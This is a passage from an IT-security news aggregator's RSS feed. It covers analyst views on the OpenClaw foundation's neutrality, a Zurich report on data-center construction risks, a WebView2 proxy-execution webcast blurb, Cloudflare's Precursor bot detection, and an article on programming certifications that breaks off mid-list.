<p class="wp-block-paragraph">“Our ambition is for OpenClaw to be the Switzerland of AI. Neutral ground where every model and every lab can plug into the technology and collaborate on standards in the era of agents,” <a href="https://openclaw.ai/blog/introducing-openclaw-foundation/" target="_blank" rel="noreferrer noopener">OpenClaw said in a post</a>. “That work is already underway in Foundation-convened councils on agent identity, agent profiles, evals, and enterprise deployment.”</p>



<p class="wp-block-paragraph">The statement, co-authored by OpenClaw creator <a href="https://www.linkedin.com/in/steipete/" target="_blank" rel="noreferrer noopener">Peter Steinberger</a>, pointed out, “the great open source projects of our time — Linux, Apache, Mozilla — endure because a neutral steward stands behind them. That is the role we are taking on to keep OpenClaw MIT licensed, open, and independent so that everyone building on it can trust it will be here for the long term.”</p>



<p class="wp-block-paragraph">But it reassured users that the original OpenClaw leadership is still in charge.</p>



<p class="wp-block-paragraph">“Peter built this thing and Peter keeps making the calls, especially the technical ones. Since joining OpenAI earlier this year, he has continued to steward OpenClaw as an open and independent project, and OpenAI has made a commitment to keep it that way,” the post said. “The foundation is here to serve: good governance, stable funding, and paying the people who keep the claws alive.”</p>



<p class="wp-block-paragraph">However, some analysts and consultants were skeptical about how much true independence Steinberger would have, given his salaried role with OpenAI. </p>



<h2 class="wp-block-heading">Neutrality claim in question</h2>



<p class="wp-block-paragraph">“The Switzerland of AI neutrality claim collapses under its own announcement,” said <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520. “OpenAI runs a team [at OpenAI] called Claw Labs that Peter leads and OpenAI is a major donor to OpenClaw. The ‘neutral steward’s’ chief technical decision maker is employed by one of the competing labs it is supposed to be neutral with.” To OpenAI, he said, OpenClaw is closer to a tax-exempt nonprofit subsidiary than it is to a neutral ‘Switzerland of AI.’</p>



<p class="wp-block-paragraph">He pointed out that, in addition, Microsoft is shipping <a href="https://www.computerworld.com/article/4173442/enterpriseclaw-wants-to-bring-governance-to-the-openclaw-era-2.html" target="_blank">the enterprise version</a> of OpenClaw, and Nvidia is shipping the hardware bundle. “This is being called the Switzerland of AI, but Switzerland does not have its central bank run by France,” he observed.</p>



<p class="wp-block-paragraph">Kenney said that what the new OpenClaw has actually built is “a shared dependency that several competitors fund, staff, and steer, wrapped in a nonprofit structure. Enterprise IT should understand that structure, because treating OpenClaw as neutral is a mistake,” adding that CIOs need to look at this development devoid of the emotional component. </p>



<p class="wp-block-paragraph">“There is a strategic irony here that CIOs should sit with,” Kenney said. “If OpenClaw succeeds at becoming the universal agent substrate, then every model plugs into the same identity layer, the same profiles, and the same deployment plumbing. The thing every vendor is racing to own becomes a commodity that nobody owns.” He pointed out that, in the short term, that is genuinely good news for buyers because it means less lock-in and more portability.</p>



<p class="wp-block-paragraph">“But,” he said, “when the connective tissue is free and natural, the only labs that benefit are the ones with the best models and the deepest distribution. Commoditize the layer below you and you compete on the layer where you are already strongest. The foundation is not a charity. It is the biggest players agreeing to stop fighting over the plumbing so they can fight over the water, and the enterprise is the one paying the water bill either way.”</p>



<h2 class="wp-block-heading">Good news, bad news</h2>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, principal analyst at Moor Insights &amp; Strategy, liked the potential consistency that could emerge from the structural change, given the complexity of agent development today. </p>



<p class="wp-block-paragraph">“We are seeing a lot of OpenClaw variants hit the market, such as those from Nvidia as well as competing products from cloud and SaaS vendors. A common base helps solidify the common parts,” Andersen noted. “That said, a common challenge is the sustainability of these open source foundations over time. In addition to releasing code, these foundations need funding to evolve and grow. And that funding needs to come from continued momentum to incentivize existing members to increase investment and recruit new members to join.”</p>



<p class="wp-block-paragraph">Andersen stressed that IT buyers need to keep an eye on the roadmap for any OpenClaw variant they choose to deploy, “as that will directly impact the foundation, and the momentum of the foundation and common base. If the common base loses momentum, it can lead to forks, or just a loss of innovation. When that happens, members tend to back away, which puts customers in limbo.”</p>



<p class="wp-block-paragraph">But not everyone sees the promised structure as entirely good for IT.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/ishraqkhann/" target="_blank" rel="noreferrer noopener">Ishraq Khan</a>, CEO at coding productivity tool vendor Kodezi, said, “most CIOs do not want to bet their future entirely on a single model vendor. They want Claude for some workloads, GPT for others, open models for sensitive environments, and potentially internally fine-tuned systems for specific use cases. The problem is that every vendor currently brings its own identity system, tool interfaces, permissions model, and operational assumptions. That fragmentation does not scale.”</p>



<p class="wp-block-paragraph">He said, “the risk if standards fail is straightforward: every vendor builds its own closed ecosystem, enterprises become locked into individual stacks, and security becomes dramatically harder. The opportunity if OpenClaw succeeds is equally significant: enterprises get portable agents, common identity standards, interoperable tooling, and a healthier competitive market around models rather than ecosystems.”</p>



<h2 class="wp-block-heading">Will it remain a nonprofit?</h2>



<p class="wp-block-paragraph">However, said <a href="https://acceligence.com/talent/profiles/justin-greis/" target="_blank" rel="noreferrer noopener">Justin Greis</a>, CEO of consulting firm Acceligence, one of the key details that IT executives will want to keep in mind is that OpenAI also began as a nonprofit, but it was quickly <a href="https://www.computerworld.com/article/4056490/openai-microsoft-discuss-shape-of-future-relationship.html" target="_blank">seen as not adhering to nonprofit objectives</a>. </p>



<p class="wp-block-paragraph">“OpenAI’s transition from a nonprofit research organization into a more complex structure highlighted the challenge of maintaining mission alignment while scaling technology, capital, partnerships, and commercial operations,” Greis said. “OpenClaw has the opportunity to address some of those governance questions earlier by establishing clear principles around neutrality, transparency, and decision-making before the ecosystem becomes even larger and more valuable.”</p>



<p class="wp-block-paragraph">He noted, “we have seen this pattern before with technologies like Linux and Kubernetes. The strongest open ecosystems succeeded because they created trusted foundations that enterprises could build upon. The technology was important, but the governance model that underpinned it was equally critical.”</p>



<h2 class="wp-block-heading">Risks are ‘squarely in IT’s lap’</h2>



<p class="wp-block-paragraph">Consultant <a href="https://formergov.com/directory/brianlevine" target="_blank" rel="noreferrer noopener">Brian Levine</a>, executive director of FormerGov, echoed Greis’ concerns. </p>



<p class="wp-block-paragraph">“CIOs shouldn’t assume that this nonprofit will always be a nonprofit, or confuse being a nonprofit with actually being neutral or unbiased,” he said. “The risks are squarely in IT’s lap: autonomous agents ‘with their own identity’ acting on a user’s behalf blow straight through traditional IAM assumptions. Issues, such as agent identity, auditability, secret handling. Identity boundaries have not yet been reliably solved. Until they are, enterprises should treat OpenClaw agents like privileged service accounts, not like a browser plugin.”</p>



<p class="wp-block-paragraph">Independent cybersecurity and risk advisor <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a> pointed to another IT exposure that might come from this OpenClaw transition: Cost.</p>



<p class="wp-block-paragraph">“OpenClaw currently has a very high token burn rate in usage, which presents a significant cost consideration for large-scale enterprise adoption,” he said. “The skills marketplace introduces <a href="https://www.csoonline.com/article/4129867/what-cisos-need-to-know-about-clawdbot-i-mean-moltbot-i-mean-openclaw.html" target="_blank">a new supply chain threat </a>that enterprises will need to manage. Threat management, and specifically handling <a href="https://www.csoonline.com/article/4135449/compromised-npm-package-silently-installs-openclaw-on-developer-machines.html" target="_blank">external marketplace elements</a>, can be highly challenging for open-source operations. Ultimately, at scale, enterprise adoption could become a difficult balancing act between managing high operational costs and securing an expanded security surface.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weather grows as one of data center growth’s greatest risks]]></title>
<description><![CDATA[AI-driven hyperscale data centers are creating a new generation of risks and challenges that extend well beyond power shortages and chip supply, according to a new report from Zurich North America.



The unprecedented scale, speed and complexity of AI data center construction are exposing the in...]]></description>
<link>https://tsecurity.de/de/3666279/it-security-nachrichten/weather-grows-as-one-of-data-center-growths-greatest-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666279/it-security-nachrichten/weather-grows-as-one-of-data-center-growths-greatest-risks/</guid>
<pubDate>Mon, 13 Jul 2026 21:53:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AI-driven hyperscale data centers are creating a new generation of risks and challenges that extend well beyond power shortages and chip supply, according to a new report from Zurich North America.</p>



<p class="wp-block-paragraph">The unprecedented scale, speed and complexity of AI <a href="https://www.networkworld.com/article/4158559/data-centers-are-moving-inland-away-from-some-traditional-locations.html">data center construction</a> are exposing the industry to new threats previously unknown to the older generation of data centers, ranging from severe weather and energy constraints to insurance capacity, labor shortages and geopolitical disruptions, in its report, “<a href="https://www.zurichna.com/media/news-releases/2026/zurich-shares-firsthand-insights-in-data-center-risks-right-now">Data Center Risks Right Now: Six Critical Questions to Enable a Resilient Buildout.</a>”</p>



<p class="wp-block-paragraph">The report states that hyperscalers are prepared to spend an estimated $710 billion in capital expenditures during 2026, and <a href="https://www.youtube.com/watch?v=OjMlcb1U804">global investment in data centers</a> is projected to top $7 trillion by 2030. New capacity added between 2026 and 2030 is expected to total roughly 100 gigawatts, equivalent to the peak electricity demand of about nine New York Cities.</p>



<p class="wp-block-paragraph">Much of that is because these <a href="https://www.networkworld.com/article/4129982/us-pushes-voluntary-pact-to-curb-ai-data-center-energy-impact.html">new data centers</a> are not like any previous generations of  data center development in that modern AI campuses can span up to 20 buildings, consume as much as 2,000 megawatts of electricity and house billions of dollars’ worth of servers and cooling equipment.</p>



<p class="wp-block-paragraph">In addition, <a href="https://www.zurichna.com/knowledge/articles/2026/06/data-centers-through-the-eyes-of-risk-engineers">insurance providers</a> are struggling to keep pace with the massive growth in projected value of these data centers.  Zurich says the average value of the data centers it insured has jumped from roughly $150 million five years ago to about $3 billion today, while the largest campuses can be measured in the tens of billions of dollars.</p>



<p class="wp-block-paragraph">The report cited six areas of concern, the primary of which is growing: severe weather.   Severe weather has surpassed fire as leading construction threat due to changing geography. Zurich states that 64% of U.S. data center capacity currently under construction is located outside traditional markets such as Northern Virginia, in areas are known for bad weather.</p>



<p class="wp-block-paragraph">They include West Texas, Tennessee, Wisconsin and Ohio, where tornadoes, hailstorms and high winds present new hazards. Zurich says severe weather has become the largest source of losses in its U.S. builders-risk portfolio over the past three years, surpassing fire as the industry’s dominant construction threat. Weather accounts for 32% of losses in Zurich’s data center portfolio, followed by fire and equipment damage.</p>



<p class="wp-block-paragraph">The second issue is compressed construction schedules. Operators are increasingly beginning operating portions of a campus where construction is complete and while construction continues elsewhere. That means welding and other, heavy equipment plus incomplete fire protection coexist with active server halls containing sensitive computing equipment.</p>



<p class="wp-block-paragraph">Beyond construction and to absolutely no surprise, Zurich identifies energy infrastructure as one of the defining challenges facing AI expansion. The report notes that U.S. data center electricity demand increased roughly 22% in a single year and is expected to nearly triple to approximately 134 gigawatts by 2030.</p>



<p class="wp-block-paragraph">Likewise, water availability is becoming equally important as power as AI workloads generate more heat and require increasingly sophisticated cooling systems. The report notes that many operators are deploying closed-loop water recycling systems or shifting toward air cooling where possible in a bid to reduce water consumption.</p>



<p class="wp-block-paragraph">Downtime has become more expensive because so much expensive equipment is involved, even minor operational failures can become multimillion-dollar events.</p>



<p class="wp-block-paragraph">The report also warns that replacement equipment often requires months to arrive, citing industry estimates that switchgear may take up to 85 weeks to replace and generators as long as 100 weeks.</p>



<p class="wp-block-paragraph"><a href="https://www.zurichna.com/knowledge/articles/2026/06/the-human-side-of-data-centers">Workforce shortages</a> have raised operational concerns as the AI construction boom is straining the labor market, and they don’t mean The IT staff to run the place, they need people to build it. Zurich cited a report from <a href="https://www.agc.org/">Associated General Contractors of America</a> that 92% of U.S. construction firms are having difficulty finding qualified workers.</p>



<p class="wp-block-paragraph">The report concludes that geopolitical tensions, regulatory scrutiny and emerging technologies will increasingly influence where and how data centers are built. Among the trends Zurich identifies are growing political concern over electricity prices and water consumption, increased reliance on nuclear energy, interest in integrating future quantum computing systems and even early proposals for orbital data centers supported by solar power.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What Is WebView2? From "Proxy Execution with Microsoft Edge WebView2 - Matthew Eidelberg"]]></title>
<description><![CDATA[Author: Black Hills Information Security - Bewertung: 0x - Views:12 How do sideloading techniques work in today’s runtime environment?

Join us for a free one-hour BHIS webcast with Matthew Eidelberg on proxy execution via Microsoft Edge WebView2.

Full Webcast:
https://youtu.be/HTvLbzrf1R0

Matt...]]></description>
<link>https://tsecurity.de/de/3666174/it-security-video/what-is-webview2-from-proxy-execution-with-microsoft-edge-webview2-matthew-eidelberg/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666174/it-security-video/what-is-webview2-from-proxy-execution-with-microsoft-edge-webview2-matthew-eidelberg/</guid>
<pubDate>Mon, 13 Jul 2026 20:48:22 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Black Hills Information Security - Bewertung: 0x - Views:12 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/_W0z_kaxDvU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>How do sideloading techniques work in today’s runtime environment?<br />
<br />
Join us for a free one-hour BHIS webcast with Matthew Eidelberg on proxy execution via Microsoft Edge WebView2.<br />
<br />
Full Webcast:<br />
https://youtu.be/HTvLbzrf1R0<br />
<br />
Matthew will break down techniques that blur the line between legitimate app behavior and malicious activity, showing how shared runtime components are changing execution and detection boundaries.<br />
<br />
You’ll learn how traditional sideloading concepts apply in modern environments, how WebView2 is increasingly embedded across the ecosystem, and how attackers can exploit it to bypass common detection methods.<br />
<br />
<br />
🛝 Webcast Slides<br />
https://www.blackhillsinfosec.com/wp-content/uploads/2026/04/Proxy-Execution-with-Microsoft-Edge-Webview2.pdf<br />
<br />
/// 🔗 Register for webcasts, summits, and workshops - <br />
https://poweredbybhis.com <br />
 <br />
///Black Hills Infosec Socials<br />
Twitter: https://twitter.com/BHinfoSecurity<br />
Mastodon: https://infosec.exchange/@blackhillsinfosec<br />
LinkedIn: https://www.linkedin.com/company/antisyphon-training<br />
Discord: https://discord.gg/ffzdt3WUDe<br />
<br />
///Black Hills Infosec Shirts & Hoodies<br />
https://spearphish-general-store.myshopify.com/collections/bhis-shirt-collections<br />
<br />
///Black Hills Infosec Services<br />
Active SOC: https://www.blackhillsinfosec.com/services/active-soc/<br />
Penetration Testing: https://www.blackhillsinfosec.com/services/<br />
Incident Response: https://www.blackhillsinfosec.com/services/incident-response/<br />
<br />
///Backdoors & Breaches - Incident Response Card Game<br />
Backdoors & Breaches: https://www.backdoorsandbreaches.com/<br />
Play B&B Online: https://play.backdoorsandbreaches.com/<br />
<br />
///Antisyphon Training<br />
Pay What You Can: https://www.antisyphontraining.com/pay-what-you-can/<br />
Live Training: https://www.antisyphontraining.com/course-catalog/<br />
On Demand Training: https://www.antisyphontraining.com/on-demand-course-catalog/<br />
Antisyphon Discord: https://discord.gg/antisyphon<br />
Antisyphon Mastodon: https://infosec.exchange/@Antisy_Training<br />
<br />
///Educational Infosec Content<br />
Black Hills Infosec Blogs: https://www.blackhillsinfosec.com/blog/<br />
Wild West Hackin' Fest YouTube: https://www.youtube.com/wildwesthackinfest<br />
Antisyphon Training YouTube: https://www.youtube.com/antisyphontraining<br />
Active Countermeasures YouTube: https://youtube.com/activecountermeasures<br />
Threat Hunter Community Discord: https://discord.gg/threathunter<br />
<br />
Join us at the annual information security conference in Deadwood, SD (in-person and virtually) — Wild West Hackin' Fest: https://wildwesthackinfest.com/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloudflare Precursor Watches Your Mouse and Keyboard To Decide If You Are Human]]></title>
<description><![CDATA[BrianFagioli writes: Cloudflare has launched Precursor, a new behavioral bot detection system that monitors mouse movement, typing cadence, scrolling, clipboard activity, page visibility, and other signals across an entire browsing session. The system is designed to catch advanced bots that can r...]]></description>
<link>https://tsecurity.de/de/3666115/it-security-nachrichten/cloudflare-precursor-watches-your-mouse-and-keyboard-to-decide-if-you-are-human/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666115/it-security-nachrichten/cloudflare-precursor-watches-your-mouse-and-keyboard-to-decide-if-you-are-human/</guid>
<pubDate>Mon, 13 Jul 2026 20:08:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: Cloudflare has launched Precursor, a new behavioral bot detection system that monitors mouse movement, typing cadence, scrolling, clipboard activity, page visibility, and other signals across an entire browsing session. The system is designed to catch advanced bots that can run JavaScript, use real browsers, and pass traditional CAPTCHA challenges. Cloudflare says Precursor does not record actual keystrokes and instead studies timing and rhythm. The company also says the data is not tied to user identities or persistent profiles. Even so, software that watches how people move and type throughout a visit raises privacy concerns, especially as Cloudflare claims bots now generate roughly 57 percent of all Internet requests.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Cloudflare+Precursor+Watches+Your+Mouse+and+Keyboard+To+Decide+If+You+Are+Human%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F13%2F1645252%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F13%2F1645252%2Fcloudflare-precursor-watches-your-mouse-and-keyboard-to-decide-if-you-are-human%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/13/1645252/cloudflare-precursor-watches-your-mouse-and-keyboard-to-decide-if-you-are-human?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Do programming certifications still matter?]]></title>
<description><![CDATA[If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid AI-driven evolution. The short answer is, it depends.



“Certifications are shifting from a checkbox to a compass. They’re less about proving you...]]></description>
<link>https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665678/ai-nachrichten/do-programming-certifications-still-matter/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you’re a software developer or architect, you might wonder if programming certifications are still worth the effort, especially in the era of rapid <a href="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html" data-type="link" data-id="https://www.infoworld.com/article/2338115/what-is-generative-ai-artificial-intelligence-that-creates.html">AI-driven evolution</a>. The short answer is, it depends.</p>



<p class="wp-block-paragraph">“Certifications are shifting from a checkbox to a compass. They’re less about proving you memorized syntax and more about proving you can architect systems, instruct AI coding assistants, and solve problems end-to-end,” says Faizel Khan, lead AI engineer at <a href="https://landingpoint.com/">Landing Point</a>, an executive search and recruiting firm.</p>



<p class="wp-block-paragraph">“In the AI era, fewer students will get trained on the job, which means they have to train themselves,” Khan says. “Certifications—especially architectural ones like AWS, Kubernetes, Terraform—are still the clearest path to do that.”</p>



<h2 class="wp-block-heading">Pros and cons of programming certifications</h2>



<p class="wp-block-paragraph">It’s not all black and white when it comes to deciding whether to pursue programming certifications. The effort involves both pros and cons.</p>



<p class="wp-block-paragraph">“In terms of pros, certifications concretely demonstrate that you have a skillset at a documented level,” says Chris Riccio, vice president of engineering at <a href="https://uplevelteam.com/">Uplevel</a>, an engineering optimization system provider. “They also show that you’ve put in the time and effort to learn, study, and prepare.”</p>



<p class="wp-block-paragraph">Programming certifications are “a useful way to validate foundational skills and show that someone understands core concepts,” says Greg Fuller, vice president of Skillsoft’s training provider, <a href="https://www.codecademy.com/">Codecademy</a>. “They’re especially helpful for people entering the field or shifting from adjacent roles.”</p>



<p class="wp-block-paragraph">Certifications offer a structured path to demonstrate proficiency, and they can confirm your ability to build and deploy in various environments, Fuller says.</p>



<p class="wp-block-paragraph">These types of certifications often demonstrate baseline proficiency and continuous learning, says Reshmi Ramachandran, head of partnerships and GTM strategy for <a href="https://www.cprime.com/">Cprime</a>, a consultancy. “These are often key indications of proficiency for companies looking to filter large candidate pools,” she says.</p>



<p class="wp-block-paragraph">Certifications really do two things, Khan adds. “First, they force you to learn by doing,” he says. “If you’re taking AWS Solutions Architect or Terraform, you don’t pass by guessing—you plan, build, and test systems. That practice matters. Second, they act as a public signal. Think of it like a micro-degree. You’re not just saying, ‘I know cloud.’ You’re showing you’ve crossed a bar that thousands of other engineers recognize.”</p>



<p class="wp-block-paragraph">But there are cons, too. “In tech, employers don’t just want credentials, they want proof you can deliver,” says Kevin Miller, CTO at <a href="https://www.ifs.com/industries/manufacturing/industrial-manufacturing">IFS</a>, a maker of factory automation software. “Programming certifications can be a valuable indicator of your baseline knowledge and competencies, especially if you’re early in your career or pivoting into tech, but their importance is dwindling.”</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/generative-ai/">AI tools</a> that can generate, debug, and optimize code are <a href="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html" data-type="link" data-id="https://www.infoworld.com/article/4077352/85-of-developers-use-ai-regularly-jetbrains-survey.html">already performing tasks once done by entry-level developers</a>, “which means fewer traditional programming roles are available,” Miller says. “As a result, the job market is becoming more competitive, and certifications aren’t seen as the noteworthy achievement they once were.”</p>



<p class="wp-block-paragraph">What’s more, not all certifications carry the same weight, Riccio says. “Some may reflect only familiarity rather than true expertise,” he says. “Certifications also often measure ‘book knowledge’ rather than practical experience, and they don’t always map clearly to the requirements of a specific role.”</p>



<p class="wp-block-paragraph">Programming certifications “can be a helpful signal, especially for confirming baseline knowledge in areas like cloud, security, or devops, but they’re not the full picture,” says Morgan Watts, vice president of IT at <a href="https://developer.8x8.com/">8×8</a>, a contact center platform developer.</p>



<p class="wp-block-paragraph">“I’m more interested in a candidate’s attitude and aptitude: what problems they’ve solved, what they’ve built, and how they’ve approached challenges,” Watts says. “Certifications can show commitment and discipline, and they’re especially useful in highly specialized roles. But I’m cautious when someone presents a laundry list of certifications with little evidence of real-world application.”</p>



<p class="wp-block-paragraph">A certification without experience doesn’t carry much weight, Watts says, and over-certification can sometimes signal the wrong focus. “Ultimately, it’s the ability to apply knowledge, collaborate, and adapt that sets great developers apart,” he says.</p>



<p class="wp-block-paragraph">Finally, certifications can age fast, Khan says. “Tech stacks evolve and a badge from two years ago may already feel dusty,” he says. “And some certifications are paper-thin—multiple-choice exams that don’t prove you can debug production at 2 a.m. So, the risk is you collect badges but still can’t ship.”</p>



<h2 class="wp-block-heading">Which certifications will get you noticed?</h2>



<p class="wp-block-paragraph">Despite the drawbacks, certifications are still very much in demand, and some carry more weight than others.</p>



<p class="wp-block-paragraph">The most in-demand certifications are typically platform-based—Amazon Web Services (AWS), Google Cloud Platform (GCP), Microsoft Azure, and others, Riccio says. “Many of these platforms provide managed services that integrate with existing systems or serve as the glue between them,” he says. “Today’s engineering teams aren’t just building standalone systems in isolation; they’re using other systems to store data, orchestrate business workflows, and connect applications.”</p>



<p class="wp-block-paragraph">A certification that demonstrates the ability to build solutions on these platforms can put a development professional ahead of the competition, Riccio says.</p>



<p class="wp-block-paragraph">“The certifications I see in highest demand tend to reflect the evolving tech landscape,” Watts says. “Cloud certifications from AWS, Azure, and GCP are incredibly valuable, especially as distributed systems become the norm.”</p>



<p class="wp-block-paragraph">Also in demand are certifications for <a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">devops and CI/CD tools</a> including <a href="https://www.infoworld.com/article/3529526/how-to-succeed-with-kubernetes.html">Kubernetes</a>, <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker</a>, and <a href="https://www.infoworld.com/article/2260091/what-is-jenkins-the-ci-server-explained.html">Jenkins</a>, Watts says, “because deployment automation and reliability are critical at scale. Also, with AI reshaping development, we’re seeing growing interest in certifications around machine learning, data science, and AI model integration. These certifications stand out because they align directly with the skills that teams need to move faster and more intelligently.”</p>



<aside class="sidebar large">
<h3>More about developer certifications</h3>
<p>Learn more about developer courses and certifications tech companies want:</p>
<ul>
<li><a href="https://www.infoworld.com/article/4055032/ai-developer-certifications-tech-companies-want.html">AI developer certifications</a></li>
<li><a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">Machine learning certifications</a></li>
<li><a href="https://www.infoworld.com/article/2337635/4-cloud-certifications-that-will-help-you-stand-out.html">Cloud development certifications</a></li>
<li><a href="https://www.infoworld.com/article/3632270/the-devops-certifications-tech-companies-want.html">Devops and CI/CD certifications</a></li>
</ul>
</aside>




<p class="wp-block-paragraph">On the AI front, certifications in <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">TensorFlow</a> and other <a href="https://www.infoworld.com/article/3583466/the-machine-learning-certifications-tech-companies-want.html">machine learning platforms</a> are gaining traction as organizations look to embed AI across the development process, Watts says. “These are the certifications that align closely with where modern engineering is headed—scalable, secure, and AI-enabled,” he says.</p>



<p class="wp-block-paragraph">And then there are <a href="https://www.csoonline.com/article/3970107/the-14-most-valuable-cybersecurity-certifications.html">cybersecurity credentials</a> that continue to be in high demand. Security certifications, such as CompTIA Security+ or Certified Ethical Hacker, “have become essential as every company faces increasing cyber threats and compliance requirements,” Miller says.</p>



<p class="wp-block-paragraph">“Core programming certifications are still a bit niche, but the adjacent skills, like those that help developers deploy, secure, and scale their code, are driving demand,” Fuller says. “Companies want developers who understand the full lifecycle, not just how to write code.”</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3980325/the-java-certifications-tech-companies-want.html">The best Java certifications for software developers</a>.</strong></p>



<h2 class="wp-block-heading">Certifications in the hiring process</h2>



<p class="wp-block-paragraph">Experts are clear that programming certifications alone will not get you the job. But they do play a role in the hiring process.</p>



<p class="wp-block-paragraph">“The information technology world is characterized by rapid and continuous evolution, including the skills and knowledge required to work in the field,” says Diane Rafferty, managing director of the National Technology Group at <a href="https://www.atriumglobal.com/">Atrium</a>, a global talent solutions and extended workforce management firm.</p>



<p class="wp-block-paragraph">“Certifications not only prove that you have the skills and knowledge needed, but they also show employers that you’re invested in your education and career growth,” Rafferty says. “They can give you a competitive edge when looking for a job, as many companies now require candidates to have them.”</p>



<p class="wp-block-paragraph">Certifications are one part of the hiring equation, “but never the only part,” Watts says. “They help validate that a candidate has taken the time to build foundational knowledge, and that’s a good sign. But I put more weight on how a person thinks, solves problems, and contributes to the team. I look for people who are curious and proactive, who are learning because they want to, not just because a course told them to.”</p>



<p class="wp-block-paragraph">Certifications can also play a valuable role in retention, Watts says. “I encourage team members to pursue growth, and when they invest in their own development, the whole organization benefits,” he says. “But again, it’s that balance of knowledge, attitude, and applied experience that really moves the needle.”</p>



<p class="wp-block-paragraph">Certifications “may allow you to breeze through the initial résumé screening process, potentially getting you to the next stage faster,” Riccio says. “At a minimum, they will set your profile apart from the rest of the pack. They also demonstrate that you’ve reached a baseline level of expertise, allowing hiring managers to quickly evaluate whether you have the skills for the role.”</p>



<p class="wp-block-paragraph">Employers today “care far less about whether someone has passed an exam and far more about whether they can apply knowledge effectively in real-world situations, leverage AI tools, and solve complex problems,” Miller says. “A certification might get someone an interview, but being able to demonstrate problem-solving skills, teamwork, and adaptability will really make them stand out.”</p>



<h2 class="wp-block-heading">Popular programming certifications</h2>



<p class="wp-block-paragraph">The following certifications consistently rose to the top in my conversations with tech leaders and hiring managers.</p>



<h3 class="wp-block-heading">AWS Certified Developer—Associate</h3>



<p class="wp-block-paragraph">Showcases skills and knowledge in developing, optimizing, packaging, and deploying applications, using CI/CD workflows, and identifying and resolving application issues, according to AWS. This certification is said to be a good starting point on the AWS certification journey for professionals in IT or cloud developer job roles.</p>



<h3 class="wp-block-heading">Azure Developer Associate</h3>



<p class="wp-block-paragraph">This certificate from Microsoft is intended for developers participating in all phases of cloud development, including design, deployment, maintenance, and monitoring. The course teaches developers how to create end-to-end solutions in Microsoft Azure, using the Microsoft Learn Sandbox environment to access Azure resources and services.</p>



<h3 class="wp-block-heading">Certified Kubernetes Application Developer (CKAD)</h3>



<p class="wp-block-paragraph">This certification was created by the Linux Foundation and Cloud Native Computing Foundation. It demonstrates that candidates can design, build, and deploy cloud-native applications for Kubernetes.</p>



<h3 class="wp-block-heading">Certified Secure Software Lifecycle Professional (CSSLP)</h3>



<p class="wp-block-paragraph">This certification, from ISC2, focuses on secure software development practices. It recognizes leading application security skills and demonstrates advanced technical skills and knowledge needed for authentication, authorization, and auditing throughout the software development lifecycle.</p>



<h3 class="wp-block-heading">Databricks Certified Machine Learning Professional</h3>



<p class="wp-block-paragraph">Professionals learn about the latest data and AI techniques and how they can use the Databricks Data Intelligence Platform to build a variety of solutions across data engineering, data warehousing, data science, and AI.</p>



<h3 class="wp-block-heading">Professional Cloud Architect</h3>



<p class="wp-block-paragraph">This certification from Google assesses the ability to design and plan a cloud solution architecture, manage and provision the cloud solution infrastructure, design for security and compliance, analyze and optimize technical and business processes manage implementations of cloud architecture, and ensure solution and operations reliability.</p>



<h3 class="wp-block-heading">Terraform Associate</h3>



